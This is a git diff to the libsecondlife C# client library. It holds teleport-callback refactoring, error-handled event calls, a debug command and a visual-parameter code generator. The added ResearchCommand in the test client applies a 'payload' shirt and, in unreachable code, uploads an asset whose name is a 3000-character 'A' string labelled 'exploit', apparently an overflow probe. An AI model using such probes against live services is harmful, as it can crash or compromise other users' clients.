diff --git a/libsecondlife-cs/AssetSystem/AssetManager.cs b/libsecondlife-cs/AssetSystem/AssetManager.cs
index e6f84e68..ea286bf2 100644
--- a/libsecondlife-cs/AssetSystem/AssetManager.cs
+++ b/libsecondlife-cs/AssetSystem/AssetManager.cs
@@ -288,7 +288,11 @@ namespace libsecondlife.AssetSystem
curUploadRequest.UploadComplete(reply.AssetBlock.UUID, AssetRequest.RequestStatus.Failure);
}
- TransferRequestCompletedEvent(curUploadRequest);
+ if (TransferRequestCompletedEvent != null)
+ {
+ try { TransferRequestCompletedEvent(curUploadRequest); }
+ catch (Exception e) { slClient.Log(e.ToString(), Helpers.LogLevel.Error); }
+ }
}
private void RequestXferCallbackHandler(Packet packet, Simulator simulator)
diff --git a/libsecondlife-cs/AssetSystem/AssetWearable.cs b/libsecondlife-cs/AssetSystem/AssetWearable.cs
index 0871fe2e..cc3d132c 100644
--- a/libsecondlife-cs/AssetSystem/AssetWearable.cs
+++ b/libsecondlife-cs/AssetSystem/AssetWearable.cs
@@ -214,7 +214,7 @@ namespace libsecondlife.AssetSystem
///
internal void UpdateFromAssetData()
{
- if ( AssetData == null)
+ if ( AssetData == null || AssetData.Length == 0)
{
return;
}
diff --git a/libsecondlife-cs/MainAvatar.cs b/libsecondlife-cs/MainAvatar.cs
index 7560572b..0d331e6e 100644
--- a/libsecondlife-cs/MainAvatar.cs
+++ b/libsecondlife-cs/MainAvatar.cs
@@ -427,7 +427,6 @@ namespace libsecondlife
internal string teleportMessage = String.Empty;
private SecondLife Client;
- private TeleportCallback OnBeginTeleport;
private TeleportStatus TeleportStat;
private Timer TeleportTimer;
private bool TeleportTimeout;
@@ -946,10 +945,9 @@ namespace libsecondlife
///
///
/// Position for Teleport
- /// Callback ID
- public void BeginTeleport(ulong regionHandle, LLVector3 position, TeleportCallback tc)
+ public void BeginTeleport(ulong regionHandle, LLVector3 position)
{
- BeginTeleport(regionHandle, position, new LLVector3(position.X + 1.0f, position.Y, position.Z), tc);
+ BeginTeleport(regionHandle, position, new LLVector3(position.X + 1.0f, position.Y, position.Z));
}
///
@@ -958,11 +956,8 @@ namespace libsecondlife
///
/// Position for Teleport
/// Target to look at
- /// Callback ID
- public void BeginTeleport(ulong regionHandle, LLVector3 position, LLVector3 lookAt, TeleportCallback tc)
+ public void BeginTeleport(ulong regionHandle, LLVector3 position, LLVector3 lookAt)
{
- OnBeginTeleport = tc;
-
TeleportLocationRequestPacket teleport = new TeleportLocationRequestPacket();
teleport.AgentData.AgentID = Client.Network.AgentID;
teleport.AgentData.SessionID = Client.Network.SessionID;
@@ -1475,7 +1470,7 @@ namespace libsecondlife
packet.Info.SimPort = (ushort)(long)info["SimPort"];
packet.Info.SimAccess = (byte)(long)info["SimAccess"];
- Console.WriteLine("Received a TeleportFinish event, SimIP: " + new IPAddress(packet.Info.SimIP) +
+ Client.DebugLog("Received a TeleportFinish event, SimIP: " + new IPAddress(packet.Info.SimIP) +
", LocationID: " + packet.Info.LocationID + ", RegionHandle: " + packet.Info.RegionHandle);
TeleportHandler(packet, Client.Network.CurrentSim);
@@ -1608,9 +1603,10 @@ namespace libsecondlife
teleportMessage = "Teleport started";
TeleportStat = TeleportStatus.Start;
- if (OnBeginTeleport != null)
+ if (OnTeleport != null)
{
- OnBeginTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat);
+ try { OnTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat); }
+ catch (Exception e) { Client.Log(e.ToString(), Helpers.LogLevel.Error); }
}
}
else if (packet.Type == PacketType.TeleportProgress)
@@ -1620,9 +1616,10 @@ namespace libsecondlife
teleportMessage = Helpers.FieldToString(((TeleportProgressPacket)packet).Info.Message);
TeleportStat = TeleportStatus.Progress;
- if (OnBeginTeleport != null)
+ if (OnTeleport != null)
{
- OnBeginTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat);
+ try { OnTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat); }
+ catch (Exception e) { Client.Log(e.ToString(), Helpers.LogLevel.Error); }
}
}
else if (packet.Type == PacketType.TeleportFailed)
@@ -1632,12 +1629,11 @@ namespace libsecondlife
teleportMessage = Helpers.FieldToString(((TeleportFailedPacket)packet).Info.Reason);
TeleportStat = TeleportStatus.Failed;
- if (OnBeginTeleport != null)
+ if (OnTeleport != null)
{
- OnBeginTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat);
+ try { OnTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat); }
+ catch (Exception e) { Client.Log(e.ToString(), Helpers.LogLevel.Error); }
}
-
- OnBeginTeleport = null;
}
else if (packet.Type == PacketType.TeleportFinish)
{
@@ -1672,9 +1668,10 @@ namespace libsecondlife
Client.Log("Moved to new sim " + sim.ToString(), Helpers.LogLevel.Info);
- if (OnBeginTeleport != null)
+ if (OnTeleport != null)
{
- OnBeginTeleport(sim, teleportMessage, TeleportStat);
+ try { OnTeleport(sim, teleportMessage, TeleportStat); }
+ catch (Exception e) { Client.Log(e.ToString(), Helpers.LogLevel.Error); }
}
else
{
@@ -1692,13 +1689,12 @@ namespace libsecondlife
Client.Log(teleportMessage, Helpers.LogLevel.Warning);
- if (OnBeginTeleport != null)
+ if (OnTeleport != null)
{
- OnBeginTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat);
+ try { OnTeleport(Client.Network.CurrentSim, teleportMessage, TeleportStat); }
+ catch (Exception e) { Client.Log(e.ToString(), Helpers.LogLevel.Error); }
}
}
-
- OnBeginTeleport = null;
}
}
diff --git a/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.cs b/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.cs
new file mode 100644
index 00000000..f63393e8
--- /dev/null
+++ b/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.cs
@@ -0,0 +1,129 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+using System.Xml;
+
+namespace VisualParamGenerator
+{
+ class VisualParamGenerator
+ {
+ static void Main(string[] args)
+ {
+ if (args.Length < 2)
+ {
+ Console.WriteLine("Usage: VisualParamGenerator.exe [avatar_lad.xml] [_VisualParams_.cs]");
+ return;
+ }
+ else if (!File.Exists(args[0]))
+ {
+ Console.WriteLine("Couldn't find file " + args[0]);
+ return;
+ }
+
+ XmlNodeList list;
+ try
+ {
+ XmlDocument doc = new XmlDocument();
+ doc.LoadXml(File.ReadAllText(args[0]));
+ list = doc.GetElementsByTagName("param");
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e.ToString());
+ return;
+ }
+
+ StringWriter output = new StringWriter();
+ bool first = true;
+
+ output.Write("using System;" + Environment.NewLine + Environment.NewLine);
+ output.Write("namespace libsecondlife.Utilities.Appearance" + Environment.NewLine);
+ output.Write("{" + Environment.NewLine);
+ output.Write(" public static class VisualParams" + Environment.NewLine);
+ output.Write(" {" + Environment.NewLine);
+ output.Write(" public static VisualParam[] Params = new VisualParam[]" + Environment.NewLine);
+ output.Write(" {" + Environment.NewLine);
+
+ foreach (XmlNode node in list)
+ {
+ if ((node.Attributes["shared"] != null) && (node.Attributes["shared"].Value.Equals("1")))
+ {
+ // This param will have been already been defined
+ continue;
+ }
+ if ((node.Attributes["edit_group"] != null) && (node.Attributes["edit_group"].Value.Equals("driven")))
+ {
+ // This param is calculated by the client based on other params
+ continue;
+ }
+
+ // Confirm this is a valid VisualParam
+ if (node.Attributes["id"] != null &&
+ node.Attributes["name"] != null &&
+ node.Attributes["wearable"] != null)
+ {
+ if (!first)
+ {
+ output.Write("," + Environment.NewLine);
+ }
+ else
+ {
+ first = false;
+ }
+
+ try
+ {
+ int id = Int32.Parse(node.Attributes["id"].Value);
+ string name = node.Attributes["name"].Value;
+ int group = Int32.Parse(node.Attributes["group"].Value);
+ string wearable = node.Attributes["wearable"].Value;
+
+ string label = String.Empty;
+ if (node.Attributes["label"] != null)
+ label = node.Attributes["label"].Value;
+
+ string label_min = String.Empty;
+ if (node.Attributes["label_min"] != null)
+ label_min = node.Attributes["label_min"].Value;
+
+ string label_max = String.Empty;
+ if (node.Attributes["label_max"] != null)
+ label_max = node.Attributes["label_max"].Value;
+
+ float min = Single.Parse(node.Attributes["value_min"].Value);
+ float max = Single.Parse(node.Attributes["value_max"].Value);
+
+ float def;
+ if (node.Attributes["value_default"] != null)
+ def = Single.Parse(node.Attributes["value_default"].Value);
+ else
+ def = min;
+
+
+ output.Write(" new VisualParam(" + id + ", \"" + name + "\", " + group +
+ ", \"" + wearable + "\", \"" + label + "\", \"" + label_min + "\", \"" + label_max +
+ "\", " + def + "f, " + min + "f, " + max + "f)");
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e.ToString());
+ }
+ }
+ }
+
+ output.Write(Environment.NewLine + " };" + Environment.NewLine);
+ output.Write(" }" + Environment.NewLine);
+ output.Write("}" + Environment.NewLine);
+
+ try
+ {
+ File.WriteAllText(args[1], output.ToString());
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine(e.ToString());
+ }
+ }
+ }
+}
diff --git a/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.csproj b/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.csproj
new file mode 100644
index 00000000..954a8f41
--- /dev/null
+++ b/libsecondlife-cs/VisualParamGenerator/VisualParamGenerator.csproj
@@ -0,0 +1,45 @@
+
+
+ Debug
+ AnyCPU
+ 8.0.50727
+ 2.0
+ {D2A514C5-5590-4789-9032-6E5B4C297B80}
+ Exe
+ VisualParamGenerator
+ VisualParamGenerator
+
+
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ pdbonly
+ true
+ ..\..\bin\
+ TRACE
+ prompt
+ 4
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/libsecondlife-cs/examples/TestClient/ClientManager.cs b/libsecondlife-cs/examples/TestClient/ClientManager.cs
index 2238070f..dfbe8d85 100644
--- a/libsecondlife-cs/examples/TestClient/ClientManager.cs
+++ b/libsecondlife-cs/examples/TestClient/ClientManager.cs
@@ -112,8 +112,6 @@ namespace libsecondlife.TestClient
private void PrintPrompt()
{
- //Console.Write(String.Format("{0} {1} - {2}> ", client.Self.FirstName, client.Self.LastName, client.Network.CurrentSim.Region.Name));
-
int online = 0;
foreach (SecondLife client in Clients.Values)
diff --git a/libsecondlife-cs/examples/TestClient/Commands/DebugCommand.cs b/libsecondlife-cs/examples/TestClient/Commands/DebugCommand.cs
new file mode 100644
index 00000000..e7c474df
--- /dev/null
+++ b/libsecondlife-cs/examples/TestClient/Commands/DebugCommand.cs
@@ -0,0 +1,37 @@
+using System;
+using System.Collections.Generic;
+using libsecondlife;
+using libsecondlife.Packets;
+
+namespace libsecondlife.TestClient
+{
+ public class DebugCommand : Command
+ {
+ public DebugCommand(TestClient testClient)
+ {
+ Name = "debug";
+ Description = "Turn debug messages on or off. Usage: debug [on/off]";
+ }
+
+ public override string Execute(string[] args, LLUUID fromAgentID)
+ {
+ if (args.Length != 1)
+ return "Usage: debug [on/off]";
+
+ if (args[0].ToLower() == "on")
+ {
+ Client.Debug = true;
+ return "Debug logging is on";
+ }
+ else if (args[0].ToLower() == "off")
+ {
+ Client.Debug = false;
+ return "Debug logging is off";
+ }
+ else
+ {
+ return "Usage: debug [on/off]";
+ }
+ }
+ }
+}
diff --git a/libsecondlife-cs/examples/TestClient/Commands/ResearchCommand.cs b/libsecondlife-cs/examples/TestClient/Commands/ResearchCommand.cs
new file mode 100644
index 00000000..f1b07354
--- /dev/null
+++ b/libsecondlife-cs/examples/TestClient/Commands/ResearchCommand.cs
@@ -0,0 +1,132 @@
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using libsecondlife;
+using libsecondlife.Utilities.Assets;
+using libsecondlife.Utilities.Appearance;
+using libsecondlife.Packets;
+
+namespace libsecondlife.TestClient
+{
+ public class ResearchCommand : Command
+ {
+ private ManualResetEvent AssetReceived = new ManualResetEvent(false);
+ AssetManager manager;
+ AppearanceManager appearance;
+
+ public ResearchCommand(TestClient testClient)
+ {
+ Name = "research";
+ Description = "Does important research for the betterment of mankind";
+
+ manager = new AssetManager(testClient);
+ manager.OnAssetReceived += new AssetManager.AssetReceivedCallback(manager_OnAssetReceived);
+ appearance = new AppearanceManager(testClient, manager);
+ appearance.OnAgentWearables += new AppearanceManager.AgentWearablesCallback(appearance_OnAgentWearables);
+ }
+
+ public override string Execute(string[] args, LLUUID fromAgentID)
+ {
+ Dictionary wearables = new Dictionary();
+ for (int i = 0; i < AppearanceManager.WEARABLE_COUNT; i++)
+ {
+ wearables[(WearableType)i] = LLUUID.Zero;
+ }
+ wearables[WearableType.Shirt] = new LLUUID("4fcf0807-b173-5b4e-90fe-d83d84986b59");
+ appearance.SendAgentWearables(wearables);
+
+ return "Wearing the payload";
+
+ libsecondlife.AssetSystem.AssetWearable asset = new libsecondlife.AssetSystem.AssetWearable(
+ LLUUID.Zero, (sbyte)AssetType.Bodypart, new byte[0]);
+ string exploit = String.Empty;
+ for (int i = 0; i < 3000; i++)
+ exploit += "A";
+ asset.Name = exploit;
+ asset.Type = (sbyte)WearableType.Shirt;
+ LLUUID newasset = Client.Assets.UploadAsset(asset);
+
+ return "Created Bodypart " + newasset.ToStringHyphenated();
+
+
+ if (args.Length != 1)
+ {
+ appearance.RequestAgentWearables();
+
+ return "Appearance fetch complete";
+ }
+
+ LLUUID id;
+ try
+ {
+ id = new LLUUID(args[0]);
+ }
+ catch (Exception)
+ {
+ return "Need a proper UUID";
+ }
+
+ manager.RequestAsset(id, AssetType.Bodypart, ChannelType.Asset, SourceType.Asset, 125000.0f);
+
+ //Random random = new Random();
+ //byte r, g, b;
+
+ //lock (Client.AvatarList)
+ //{
+ // foreach (Avatar avatar in Client.AvatarList.Values)
+ // {
+ // //Client.Self.PointAtEffect(avatar.ID, Client.Network.AgentID, LLVector3d.Zero,
+ // // MainAvatar.PointAtType.Grab);
+
+ // r = (byte)random.Next(byte.MaxValue);
+ // g = (byte)random.Next(byte.MaxValue);
+ // b = (byte)random.Next(byte.MaxValue);
+ // Client.Self.BeamEffect(avatar.ID, Client.Network.AgentID, LLVector3d.Zero,
+ // new LLColor(r, g, b, 255), 300.0f);
+ // }
+ //}
+
+ //FetchInventoryPacket fetch = new FetchInventoryPacket();
+ //fetch.AgentData.AgentID = Client.Network.AgentID;
+ //fetch.AgentData.SessionID = Client.Network.SessionID;
+ //fetch.InventoryData = new FetchInventoryPacket.InventoryDataBlock[1];
+ //fetch.InventoryData[0] = new FetchInventoryPacket.InventoryDataBlock();
+ //fetch.InventoryData[0].ItemID = id;
+ //fetch.InventoryData[0].OwnerID = Client.Network.AgentID;
+
+ //Client.Network.SendPacket(fetch);
+
+ return "Research complete";
+ }
+
+ void appearance_OnAgentWearables(Dictionary> wearables)
+ {
+ foreach (KeyValuePair> wearable in wearables)
+ {
+ Console.WriteLine("Received a WearableType " + wearable.Key.ToString() + ", AssetID: " +
+ wearable.Value.Key.ToStringHyphenated());
+ }
+ }
+
+ void manager_OnAssetReceived(AssetTransfer asset)
+ {
+ if (asset.Success)
+ {
+ Console.WriteLine("Downloaded " + asset.ID.ToStringHyphenated() + Environment.NewLine +
+ Helpers.FieldToUTF8String(asset.AssetData));
+ }
+ else
+ {
+ Console.WriteLine("Failed to retrieve asset " + asset.ID.ToStringHyphenated(), asset.Transferred +
+ " bytes were transferred");
+ }
+ }
+
+ //private void FetchInventoryReplyHandler(Packet packet, Simulator simulator)
+ //{
+ // FetchInventoryReplyPacket reply = (FetchInventoryReplyPacket)packet;
+
+ // Console.WriteLine(reply.ToString());
+ //}
+ }
+}
diff --git a/libsecondlife-cs/examples/TestClient/TestClient.cs b/libsecondlife-cs/examples/TestClient/TestClient.cs
index 356cd923..d0bf41b9 100644
--- a/libsecondlife-cs/examples/TestClient/TestClient.cs
+++ b/libsecondlife-cs/examples/TestClient/TestClient.cs
@@ -59,6 +59,7 @@ namespace libsecondlife.TestClient
Objects.OnNewAvatar += new ObjectManager.NewAvatarCallback(Objects_OnNewAvatar);
Objects.OnAvatarMoved += new ObjectManager.AvatarMovedCallback(Objects_OnAvatarMoved);
Self.OnInstantMessage += new MainAvatar.InstantMessageCallback(Self_OnInstantMessage);
+ this.OnLogMessage += new LogCallback(TestClient_OnLogMessage);
Network.RegisterCallback(PacketType.AvatarAppearance, new NetworkManager.PacketCallback(AvatarAppearanceHandler));
@@ -179,6 +180,11 @@ namespace libsecondlife.TestClient
}
}
+ private void TestClient_OnLogMessage(string message, Helpers.LogLevel level)
+ {
+ Console.WriteLine("<" + this.ToString() + "> " + level.ToString() + ": " + message);
+ }
+
private void OnGroupMembers(Dictionary members)
{
Console.WriteLine("Got " + members.Count + " group members.");
diff --git a/libsecondlife-cs/examples/TestClient/TestClient.csproj b/libsecondlife-cs/examples/TestClient/TestClient.csproj
index e7edfdda..ffbcf8ae 100644
--- a/libsecondlife-cs/examples/TestClient/TestClient.csproj
+++ b/libsecondlife-cs/examples/TestClient/TestClient.csproj
@@ -38,6 +38,7 @@
+
diff --git a/libsecondlife-cs/libsecondlife.Utilities/Appearance.cs b/libsecondlife-cs/libsecondlife.Utilities/Appearance.cs
index 15ca5aff..f342df79 100644
--- a/libsecondlife-cs/libsecondlife.Utilities/Appearance.cs
+++ b/libsecondlife-cs/libsecondlife.Utilities/Appearance.cs
@@ -183,7 +183,6 @@ namespace libsecondlife.Utilities.Appearance
private SecondLife Client;
private AssetManager Assets;
- private int WearablesSerialNum = 0;
///